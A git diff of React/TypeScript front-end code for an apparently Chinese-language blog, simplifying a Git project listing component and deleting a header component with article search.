@ -78,21 +76,8 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
const [error, setError] = useState<string | null>(null); const [error, setError] = useState<string | null>(null);
const [isPageChanging, setIsPageChanging] = useState(false); const [isPageChanging, setIsPageChanging] = useState(false);
// 使用 ref 跟踪组件挂载状态 const fetchData = async (page = 1) => {
const isMountedRef = useRef(true);
const abortControllerRef = useRef<AbortController | null>(null);
const fetchData = useCallback(async (page = 1) => {
// 取消可能存在的之前的请求
if (abortControllerRef.current) {
abortControllerRef.current.abort();
}
// 创建新的 AbortController
abortControllerRef.current = new AbortController();
setLoading(true); setLoading(true);
setError(null);
if (!platform || !Object.values(GitPlatform).includes(platform)) { if (!platform || !Object.values(GitPlatform).includes(platform)) {
setError('无效的平台参数'); setError('无效的平台参数');
@ -128,98 +113,65 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
method: 'GET', method: 'GET',
headers: { headers: {
'Accept': 'application/json' 'Accept': 'application/json'
}, }
signal: abortControllerRef.current.signal
}); });
// 如果组件已卸载,不继续更新状态
if (!isMountedRef.current) return;
if (!response.ok) { if (!response.ok) {
const errorData = await response.json(); const errorData = await response.json();
throw new Error(`请求失败: ${response.status} ${response.statusText}\n${JSON.stringify(errorData, null, 2)}`); throw new Error(`请求失败: ${response.status} ${response.statusText}\n${JSON.stringify(errorData, null, 2)}`);
} }
const data = await response.json(); const data = await response.json();
setProjects(data.projects);
// 如果组件已卸载,不继续更新状态 setPagination(data.pagination);
if (!isMountedRef.current) return;
setProjects(data.projects || []);
setPagination(data.pagination || { current: page, total: 1, hasNext: false, hasPrev: page > 1 });
} catch (err) { } catch (err) {
// 如果是取消的请求,不显示错误
if (err instanceof Error && err.name === 'AbortError') {
return;
}
// 如果组件已卸载,不继续更新状态
if (!isMountedRef.current) return;
console.error('请求错误:', err); console.error('请求错误:', err);
setError(err instanceof Error ? err.message : '未知错误'); setError(err instanceof Error ? err.message : '未知错误');
// 保持之前的项目列表,避免清空显示
if (projects.length === 0) {
setProjects([]);
}
} finally { } finally {
// 如果组件已卸载,不继续更新状态
if (!isMountedRef.current) return;
setLoading(false); setLoading(false);
setIsPageChanging(false);
} }
}, [platform, username, organization, token, perPage, url, projects.length]); };
useEffect(() => { useEffect(() => {
// 设置组件已挂载标志
isMountedRef.current = true;
fetchData(1); fetchData(1);
}, [platform, username, organization, token, perPage, url]);
// 清理函数 const handlePageChange = (page: number) => {
return () => {
isMountedRef.current = false;
if (abortControllerRef.current) {
abortControllerRef.current.abort();
}
};
}, [fetchData]);
const handlePageChange = useCallback((page: number) => {
if (isPageChanging) return; if (isPageChanging) return;
setIsPageChanging(true); setIsPageChanging(true);
// 更新分页状态 // 重置当前状态,显示加载中
setProjects([]);
setLoading(true);
// 手动更新分页状态
setPagination(prev => ({ setPagination(prev => ({
...prev, ...prev,
current: page current: page
})); }));
// 不清空当前项目列表,但显示加载状态
setLoading(true);
fetchData(page); fetchData(page);
}, [fetchData, isPageChanging]); setTimeout(() => setIsPageChanging(false), 2000);
};
const getPlatformIcon = (platform: GitPlatform) => { const getPlatformIcon = (platform: GitPlatform) => {
switch (platform) { switch (platform) {
case GitPlatform.GITHUB: case GitPlatform.GITHUB:
return ( return (
<svg className="w-5 h-5" fill="currentColor" viewBox="0 0 24 24" aria-hidden="true"> <svg className="w-5 h-5" fill="currentColor" viewBox="0 0 24 24">
<path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z"/> <path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z"/>
</svg> </svg>
); );
case GitPlatform.GITEA: case GitPlatform.GITEA:
return ( return (
<svg className="w-5 h-5" viewBox="0 0 16 16" fill="currentColor" aria-hidden="true"> <svg className="w-5 h-5" viewBox="0 0 16 16" fill="currentColor">
<path d="M8.948.291c-1.412.274-2.223 1.793-2.223 1.793S4.22 3.326 2.4 5.469c-1.82 2.142-1.415 5.481-1.415 5.481s1.094 3.61 5.061 3.61c3.967 0 5.681-1.853 5.681-1.853s1.225-1.087 1.225-3.718c0-2.632-1.946-3.598-1.946-3.598s.324-1.335-1.061-3.118C8.59.49 8.948.291 8.948.291zM8.13 2.577c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-3.366.699c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm6.033 0c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-4.764 2.1c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm3.366 0c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-5.049 2.1c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm6.732 0c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-3.366.699c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-1.683 1.4c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699z"/> <path d="M8.948.291c-1.412.274-2.223 1.793-2.223 1.793S4.22 3.326 2.4 5.469c-1.82 2.142-1.415 5.481-1.415 5.481s1.094 3.61 5.061 3.61c3.967 0 5.681-1.853 5.681-1.853s1.225-1.087 1.225-3.718c0-2.632-1.946-3.598-1.946-3.598s.324-1.335-1.061-3.118C8.59.49 8.948.291 8.948.291zM8.13 2.577c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-3.366.699c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm6.033 0c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-4.764 2.1c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm3.366 0c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-5.049 2.1c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm6.732 0c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-3.366.699c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699zm-1.683 1.4c.386 0 .699.313.699.699 0 .386-.313.699-.699.699-.386 0-.699-.313-.699-.699 0-.386.313-.699.699-.699z"/>
</svg> </svg>
); );
case GitPlatform.GITEE: case GitPlatform.GITEE:
return ( return (
<svg className="w-5 h-5" viewBox="0 0 1024 1024" fill="currentColor" aria-hidden="true"> <svg className="w-5 h-5" viewBox="0 0 1024 1024" fill="currentColor">
<path d="M512 1024C229.222 1024 0 794.778 0 512S229.222 0 512 0s512 229.222 512 512-229.222 512-512 512z m259.149-568.883h-290.74a25.293 25.293 0 0 0-25.292 25.293l-0.026 63.206c0 13.952 11.315 25.293 25.267 25.293h177.024c13.978 0 25.293 11.315 25.293 25.267v12.646a75.853 75.853 0 0 1-75.853 75.853h-240.23a25.293 25.293 0 0 1-25.267-25.293V417.203a75.853 75.853 0 0 1 75.827-75.853h353.946a25.293 25.293 0 0 0 25.267-25.292l0.077-63.207a25.293 25.293 0 0 0-25.268-25.293H417.152a189.62 189.62 0 0 0-189.62 189.645V771.15c0 13.977 11.316 25.293 25.294 25.293h372.94a170.65 170.65 0 0 0 170.65-170.65V480.384a25.293 25.293 0 0 0-25.293-25.267z" /> <path d="M512 1024C229.222 1024 0 794.778 0 512S229.222 0 512 0s512 229.222 512 512-229.222 512-512 512z m259.149-568.883h-290.74a25.293 25.293 0 0 0-25.292 25.293l-0.026 63.206c0 13.952 11.315 25.293 25.267 25.293h177.024c13.978 0 25.293 11.315 25.293 25.267v12.646a75.853 75.853 0 0 1-75.853 75.853h-240.23a25.293 25.293 0 0 1-25.267-25.293V417.203a75.853 75.853 0 0 1 75.827-75.853h353.946a25.293 25.293 0 0 0 25.267-25.292l0.077-63.207a25.293 25.293 0 0 0-25.268-25.293H417.152a189.62 189.62 0 0 0-189.62 189.645V771.15c0 13.977 11.316 25.293 25.294 25.293h372.94a170.65 170.65 0 0 0 170.65-170.65V480.384a25.293 25.293 0 0 0-25.293-25.267z" />
</svg> </svg>
); );
@ -265,140 +217,97 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
// 自定义标题或使用默认标题 // 自定义标题或使用默认标题
const displayTitle = title || `${getPlatformName(platform)} 项目`; const displayTitle = title || `${getPlatformName(platform)} 项目`;
// 渲染加载状态
const renderLoading = () => (
<div className="flex justify-center items-center p-8">
<div className="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
<p className="ml-2 text-gray-600 dark:text-gray-400">...</p>
</div>
);
// 渲染错误状态
const renderError = () => (
<div className="bg-red-50 dark:bg-red-900/20 text-red-600 dark:text-red-400 p-4 rounded-lg border border-red-200 dark:border-red-800">
<div className="flex items-center">
<svg className="w-5 h-5 mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z" />
</svg>
<p>: {error}</p>
</div>
<button
onClick={() => fetchData(pagination.current)}
className="mt-3 px-4 py-2 bg-red-100 dark:bg-red-800/30 hover:bg-red-200 dark:hover:bg-red-800/50 text-red-700 dark:text-red-300 rounded"
>
</button>
</div>
);
// 渲染无数据状态
const renderEmpty = () => (
<div className="text-secondary-500 dark:text-secondary-400 p-4 text-center">
{platform === GitPlatform.GITEE ?
"无法获取 Gitee 项目数据,可能需要配置访问令牌。" :
"没有找到项目数据。"}
</div>
);
return ( return (
<div className={`git-project-collection max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 ${className}`}> <div className="git-project-collection max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<h2 className="text-2xl font-bold mb-6 text-primary-700 dark:text-primary-400"> <h2 className="text-2xl font-bold mb-6 text-primary-700">
{displayTitle} {displayTitle}
{username && <span className="ml-2 text-secondary-500 dark:text-secondary-400">(@{username})</span>} {username && <span className="ml-2 text-secondary-500">(@{username})</span>}
{organization && <span className="ml-2 text-secondary-500 dark:text-secondary-400">(: {organization})</span>} {organization && <span className="ml-2 text-secondary-500">(: {organization})</span>}
</h2> </h2>
{/* 内容区域 */}
{loading && projects.length === 0 ? ( {loading && projects.length === 0 ? (
renderLoading() <div className="flex justify-center p-8">...</div>
) : error ? ( ) : error ? (
renderError() <div className="text-red-500 p-4">: {error}</div>
) : projects.length === 0 ? ( ) : projects.length === 0 ? (
renderEmpty() <div className="text-secondary-500 p-4">
{platform === GitPlatform.GITEE ?
"无法获取 Gitee 项目数据,可能需要配置访问令牌。" :
"没有找到项目数据。"}
</div>
) : ( ) : (
<> <ReactMasonryCss
{/* 仅显示加载中指示器,不隐藏项目 */} breakpointCols={breakpointColumnsObj}
{loading && projects.length > 0 && ( className="flex -ml-4 w-auto"
<div className="flex justify-center items-center py-2 mb-4"> columnClassName="pl-4 bg-clip-padding"
<div className="inline-block h-5 w-5 animate-spin rounded-full border-2 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div> >
<p className="ml-2 text-xs text-gray-500 dark:text-gray-400">...</p> {projects.map((project, index) => (
</div> <div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 transition-all duration-300 shadow-lg">
)} <a href={project.url} target="_blank" rel="noopener noreferrer" className="block p-5">
<div className="flex items-start">
<ReactMasonryCss <div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 text-primary-600 group-hover:bg-primary-200 transition-colors">
breakpointCols={breakpointColumnsObj} {getPlatformIcon(project.platform as GitPlatform)}
className="flex -ml-4 w-auto" </div>
columnClassName="pl-4 bg-clip-padding" <div className="ml-3 flex-1">
> <div className="flex items-center">
{projects.map((project, index) => ( <img
<div key={`${project.platform}-${project.owner}-${project.name}-${index}`} className="mb-4 overflow-hidden rounded-xl border border-gray-200 dark:border-gray-700 bg-white dark:bg-gray-800 hover:shadow-xl hover:-translate-y-1 shadow-lg"> src={project.avatarUrl}
<a href={project.url} target="_blank" rel="noopener noreferrer" className="block p-5"> alt={`${project.owner}'s avatar`}
<div className="flex items-start"> className="w-5 h-5 rounded-full mr-2"
<div className="w-10 h-10 flex-shrink-0 flex items-center justify-center rounded-lg bg-primary-100 dark:bg-primary-900/30 text-primary-600 dark:text-primary-400 group-hover:bg-primary-200 dark:group-hover:bg-primary-800/50"> onError={(e) => {
{getPlatformIcon(project.platform as GitPlatform)} const target = e.target as HTMLImageElement;
target.onerror = null;
target.src = 'https://via.placeholder.com/40';
}}
/>
<span className="text-sm text-gray-600 dark:text-gray-400 truncate">{project.owner}</span>
</div> </div>
<div className="ml-3 flex-1">
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 transition-colors line-clamp-1 mt-2">{project.name}</h3>
<div className="h-12 mb-3">
{project.description ? (
<p className="text-sm text-gray-600 dark:text-gray-400 line-clamp-2">{project.description}</p>
) : (
<p className="text-sm text-gray-400 dark:text-gray-500 italic"></p>
)}
</div>
<div className="flex flex-wrap items-center text-xs gap-4">
{project.language && (
<div className="flex items-center">
<span className={`w-3 h-3 rounded-full mr-1.5 ${getLanguageColor(project.language)}`}></span>
<span className="text-gray-600 dark:text-gray-400">{project.language}</span>
</div>
)}
<div className="flex items-center"> <div className="flex items-center">
<img <svg className="w-4 h-4 mr-1.5 text-gray-500 dark:text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
src={project.avatarUrl} <path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M11.049 2.927c.3-.921 1.603-.921 1.902 0l1.519 4.674a1 1 0 00.95.69h4.915c.969 0 1.371 1.24.588 1.81l-3.976 2.888a1 1 0 00-.363 1.118l1.518 4.674c.3.922-.755 1.688-1.538 1.118l-3.976-2.888a1 1 0 00-1.176 0l-3.976 2.888c-.783.57-1.838-.197-1.538-1.118l1.518-4.674a1 1 0 00-.363-1.118l-3.976-2.888c-.784-.57-.38-1.81.588-1.81h4.914a1 1 0 00.951-.69l1.519-4.674z" />
alt={`${project.owner}'s avatar`} </svg>
className="w-5 h-5 rounded-full mr-2" <span className="text-gray-600 dark:text-gray-400">{project.stars}</span>
loading="lazy"
onError={(e) => {
const target = e.target as HTMLImageElement;
target.onerror = null;
target.src = 'https://via.placeholder.com/40';
}}
/>
<span className="text-sm text-gray-600 dark:text-gray-400 truncate">{project.owner}</span>
</div> </div>
<h3 className="font-bold text-base text-gray-800 dark:text-gray-100 group-hover:text-primary-700 dark:group-hover:text-primary-300 line-clamp-1 mt-2">{project.name}</h3> <div className="flex items-center">
<svg className="w-4 h-4 mr-1.5 text-gray-500 dark:text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<div className="h-12 mb-3"> <path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M8.684 13.342C8.886 12.938 9 12.482 9 12c0-.482-.114-.938-.316-1.342m0 2.684a3 3 0 110-2.684m0 2.684l6.632 3.316m-6.632-6l6.632-3.316m0 0a3 3 0 105.367-2.684 3 3 0 00-5.367 2.684zm0 9.316a3 3 0 105.368 2.684 3 3 0 00-5.368-2.684z" />
{project.description ? ( </svg>
<p className="text-sm text-gray-600 dark:text-gray-400 line-clamp-2">{project.description}</p> <span className="text-gray-600 dark:text-gray-400">{project.forks}</span>
) : (
<p className="text-sm text-gray-400 dark:text-gray-500 italic"></p>
)}
</div> </div>
<div className="flex flex-wrap items-center text-xs gap-4"> <div className="flex items-center ml-auto">
{project.language && ( <svg className="w-4 h-4 mr-1.5 text-gray-500 dark:text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<div className="flex items-center"> <path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z" />
<span className={`w-3 h-3 rounded-full mr-1.5 ${getLanguageColor(project.language)}`}></span> </svg>
<span className="text-gray-600 dark:text-gray-400">{project.language}</span> <span className="text-gray-500 dark:text-gray-400">{new Date(project.updatedAt).toLocaleDateString('zh-CN')}</span>
</div>
)}
<div className="flex items-center">
<svg className="w-4 h-4 mr-1.5 text-gray-500 dark:text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M11.049 2.927c.3-.921 1.603-.921 1.902 0l1.519 4.674a1 1 0 00.95.69h4.915c.969 0 1.371 1.24.588 1.81l-3.976 2.888a1 1 0 00-.363 1.118l1.518 4.674c.3.922-.755 1.688-1.538 1.118l-3.976-2.888a1 1 0 00-1.176 0l-3.976 2.888c-.783.57-1.838-.197-1.538-1.118l1.518-4.674a1 1 0 00-.363-1.118l-3.976-2.888c-.784-.57-.38-1.81.588-1.81h4.914a1 1 0 00.951-.69l1.519-4.674z" />
</svg>
<span className="text-gray-600 dark:text-gray-400">{project.stars}</span>
</div>
<div className="flex items-center">
<svg className="w-4 h-4 mr-1.5 text-gray-500 dark:text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M8.684 13.342C8.886 12.938 9 12.482 9 12c0-.482-.114-.938-.316-1.342m0 2.684a3 3 0 110-2.684m0 2.684l6.632 3.316m-6.632-6l6.632-3.316m0 0a3 3 0 105.367-2.684 3 3 0 00-5.367 2.684zm0 9.316a3 3 0 105.368 2.684 3 3 0 00-5.368-2.684z" />
</svg>
<span className="text-gray-600 dark:text-gray-400">{project.forks}</span>
</div>
<div className="flex items-center ml-auto">
<svg className="w-4 h-4 mr-1.5 text-gray-500 dark:text-gray-400" fill="none" stroke="currentColor" viewBox="0 0 24 24" aria-hidden="true">
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z" />
</svg>
<span className="text-gray-500 dark:text-gray-400">{new Date(project.updatedAt).toLocaleDateString('zh-CN')}</span>
</div>
</div> </div>
</div> </div>
</div> </div>
</a> </div>
</div> </a>
))} </div>
</ReactMasonryCss> ))}
</> </ReactMasonryCss>
)} )}
{pagination.total > 1 && ( {pagination.total > 1 && (
@ -406,43 +315,21 @@ const GitProjectCollection: React.FC<GitProjectCollectionProps> = ({
<button <button
onClick={() => handlePageChange(pagination.current - 1)} onClick={() => handlePageChange(pagination.current - 1)}
disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging} disabled={!pagination.hasPrev || pagination.current <= 1 || isPageChanging}
className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging className={`px-4 py-2 rounded ${!pagination.hasPrev || pagination.current <= 1 || isPageChanging ? 'bg-secondary-200 text-secondary-500 cursor-not-allowed' : 'bg-primary-600 text-white hover:bg-primary-700'}`}
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="上一页"
> >
{isPageChanging ? ( {isPageChanging ? '加载中...' : '上一页'}
<span className="flex items-center">
<svg className="animate-spin -ml-1 mr-2 h-4 w-4 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" aria-hidden="true">
<circle className="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" strokeWidth="4"></circle>
<path className="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
</svg>
</span>
) : '上一页'}
</button> </button>
<span className="px-4 py-2 bg-secondary-100 dark:bg-secondary-800 rounded"> <span className="px-4 py-2 bg-secondary-100 rounded">
{pagination.current} / {pagination.total} {pagination.current} / {pagination.total}
</span> </span>
<button <button
onClick={() => handlePageChange(pagination.current + 1)} onClick={() => handlePageChange(pagination.current + 1)}
disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging} disabled={!pagination.hasNext || pagination.current >= pagination.total || isPageChanging}
className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging className={`px-4 py-2 rounded ${!pagination.hasNext || pagination.current >= pagination.total || isPageChanging ? 'bg-secondary-200 text-secondary-500 cursor-not-allowed' : 'bg-primary-600 text-white hover:bg-primary-700'}`}
? 'bg-secondary-200 dark:bg-secondary-700 text-secondary-500 dark:text-secondary-500 cursor-not-allowed'
: 'bg-primary-600 text-white hover:bg-primary-700 dark:bg-primary-700 dark:hover:bg-primary-600'}`}
aria-label="下一页"
> >
{isPageChanging ? ( {isPageChanging ? '加载中...' : '下一页'}
<span className="flex items-center">
<svg className="animate-spin -ml-1 mr-2 h-4 w-4 text-white" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" aria-hidden="true">
<circle className="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" strokeWidth="4"></circle>
<path className="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path>
</svg>
</span>
) : '下一页'}
</button> </button>
</div> </div>
)} )}

View File

@ -1,421 +0,0 @@
import { useEffect, useState, useRef } from 'react';
import { SITE_NAME, NAV_LINKS } from '@/consts.ts';
import { ThemeToggle } from './ThemeToggle';
import '@/styles/header.css';
// 文章对象类型定义
interface Article {
id: string;
title: string;
date: string | Date;
summary?: string;
tags?: string[];
image?: string;
content?: string;
}
export default function Header() {
// 状态定义
const [scrolled, setScrolled] = useState(false);
const [mobileMenuOpen, setMobileMenuOpen] = useState(false);
const [mobileSearchOpen, setMobileSearchOpen] = useState(false);
const [articles, setArticles] = useState<Article[]>([]);
const [isArticlesLoaded, setIsArticlesLoaded] = useState(false);
const [searchQuery, setSearchQuery] = useState('');
const [desktopSearchFocused, setDesktopSearchFocused] = useState(false);
// 获取当前路径 (使用window.location.pathname)
const [pathname, setPathname] = useState('/');
useEffect(() => {
setPathname(window.location.pathname);
}, []);
// 移除结尾的斜杠以统一路径格式
const normalizedPath = pathname?.endsWith('/') ? pathname.slice(0, -1) : pathname;
// 引用
const desktopSearchRef = useRef<HTMLInputElement>(null);
const desktopResultsRef = useRef<HTMLDivElement>(null);
const mobileSearchRef = useRef<HTMLInputElement>(null);
const searchTimeoutRef = useRef<NodeJS.Timeout | null>(null);
// 处理滚动效果
useEffect(() => {
const scrollThreshold = 50;
function updateHeaderBackground() {
if (window.scrollY > scrollThreshold) {
setScrolled(true);
} else {
setScrolled(false);
}
}
// 初始检查
updateHeaderBackground();
// 添加滚动事件监听
window.addEventListener('scroll', updateHeaderBackground);
// 清理
return () => window.removeEventListener('scroll', updateHeaderBackground);
}, []);
// 搜索节流函数
function debounce<T extends (...args: any[]) => void>(func: T, wait: number): (...args: Parameters<T>) => void {
let timeout: ReturnType<typeof setTimeout> | undefined;
return function(this: any, ...args: Parameters<T>): void {
clearTimeout(timeout);
timeout = setTimeout(() => func.apply(this, args), wait);
};
}
// 获取文章数据
async function fetchArticles() {
if (isArticlesLoaded && articles.length > 0) return;
try {
const response = await fetch('/api/search');
if (!response.ok) {
throw new Error('获取文章数据失败');
}
const data = await response.json();
setArticles(data);
setIsArticlesLoaded(true);
} catch (error) {
console.error('获取文章失败:', error);
}
}
// 高亮文本中的匹配部分
function highlightText(text: string, query: string): string {
if (!text || !query.trim()) return text;
// 转义正则表达式中的特殊字符
const escapedQuery = query.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
const regex = new RegExp(`(${escapedQuery})`, 'gi');
return text.replace(regex, '<mark class="bg-yellow-100 dark:bg-yellow-900/30 text-gray-900 dark:text-gray-100 px-0.5 rounded">$1</mark>');
}
// 搜索文章逻辑
const debouncedSearch = debounce((query: string) => {
setSearchQuery(query);
}, 300);
// 点击页面其他区域关闭搜索结果
useEffect(() => {
function handleClickOutside(event: MouseEvent) {
if (
desktopSearchRef.current &&
desktopResultsRef.current &&
!desktopSearchRef.current.contains(event.target as Node) &&
!desktopResultsRef.current.contains(event.target as Node)
) {
setDesktopSearchFocused(false);
}
}
document.addEventListener('mousedown', handleClickOutside);
return () => document.removeEventListener('mousedown', handleClickOutside);
}, []);
// 处理ESC键
useEffect(() => {
function handleKeyDown(e: KeyboardEvent) {
if (e.key === 'Escape') {
setDesktopSearchFocused(false);
setMobileSearchOpen(false);
}
}
document.addEventListener('keydown', handleKeyDown);
return () => document.removeEventListener('keydown', handleKeyDown);
}, []);
// 搜索结果处理
const getFilteredArticles = () => {
if (!searchQuery.trim()) return [];
const lowerQuery = searchQuery.toLowerCase();
return articles
.filter((article: Article) => {
const title = article.title.toLowerCase();
const tags = article.tags ? article.tags.map((tag: string) => tag.toLowerCase()) : [];
const summary = article.summary ? article.summary.toLowerCase() : '';
const content = article.content ? article.content.toLowerCase() : '';
return title.includes(lowerQuery) ||
tags.some((tag: string) => tag.includes(lowerQuery)) ||
summary.includes(lowerQuery) ||
content.includes(lowerQuery);
})
.sort((a: Article, b: Article) => {
// 标题匹配优先
const aTitle = a.title.toLowerCase();
const bTitle = b.title.toLowerCase();
if (aTitle.includes(lowerQuery) && !bTitle.includes(lowerQuery)) {
return -1;
}
if (!aTitle.includes(lowerQuery) && bTitle.includes(lowerQuery)) {
return 1;
}
// 内容匹配次之
const aContent = a.content ? a.content.toLowerCase() : '';
const bContent = b.content ? b.content.toLowerCase() : '';
if (aContent.includes(lowerQuery) && !bContent.includes(lowerQuery)) {
return -1;
}
if (!aContent.includes(lowerQuery) && bContent.includes(lowerQuery)) {
return 1;
}
// 日期排序
return new Date(b.date).getTime() - new Date(a.date).getTime();
})
.slice(0, 10); // 限制结果数量
};
// 生成搜索结果列表项
const renderSearchResults = () => {
const filteredArticles = getFilteredArticles();
if (filteredArticles.length === 0) {
return (
<div className="py-4 px-4 text-center text-gray-500 dark:text-gray-400">
</div>
);
}
return (
<ul className="py-2">
{filteredArticles.map(article => {
return (
<li key={article.id} className="group">
<a href={`/articles/${article.id}`} className="block px-4 py-3 hover:bg-gray-100 dark:hover:bg-gray-700/70">
<h4 className="text-sm font-medium text-gray-900 dark:text-gray-100 group-hover:text-primary-600 dark:group-hover:text-primary-400"
dangerouslySetInnerHTML={{ __html: highlightText(article.title, searchQuery) }}
></h4>
{article.summary && (
<p className="mt-1 text-xs text-gray-500 dark:text-gray-400 line-clamp-1"
dangerouslySetInnerHTML={{ __html: highlightText(article.summary, searchQuery) }}
></p>
)}
{article.tags && article.tags.length > 0 && (
<div className="mt-2 flex items-center flex-wrap gap-1">
{article.tags.slice(0, 3).map(tag => (
<span key={tag} className="inline-block text-2xs px-1.5 py-0.5 bg-gray-100 dark:bg-gray-700/70 text-gray-600 dark:text-gray-400 rounded">
{tag}
</span>
